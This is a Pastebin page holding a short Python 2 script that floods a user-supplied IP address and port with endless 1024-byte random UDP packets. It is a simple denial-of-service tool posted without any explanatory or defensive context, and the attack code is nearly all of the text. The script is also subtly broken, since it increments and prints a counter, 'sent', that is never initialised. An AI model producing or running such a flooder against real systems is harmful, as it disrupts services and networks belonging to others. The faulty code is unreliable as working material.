Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import socket
- import random
- sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
- bytes=random._urandom(1024)
- ip=raw_input('Target IP: ')
- port=input('Port: ')
- while 1:
- sock.sendto(bytes,(ip,port))
- print "Sent %s amount of packets to %s at port %s." % (sent,ip,port)
- sent= sent + 1
Advertisement
Add Comment
Please, Sign In to add comment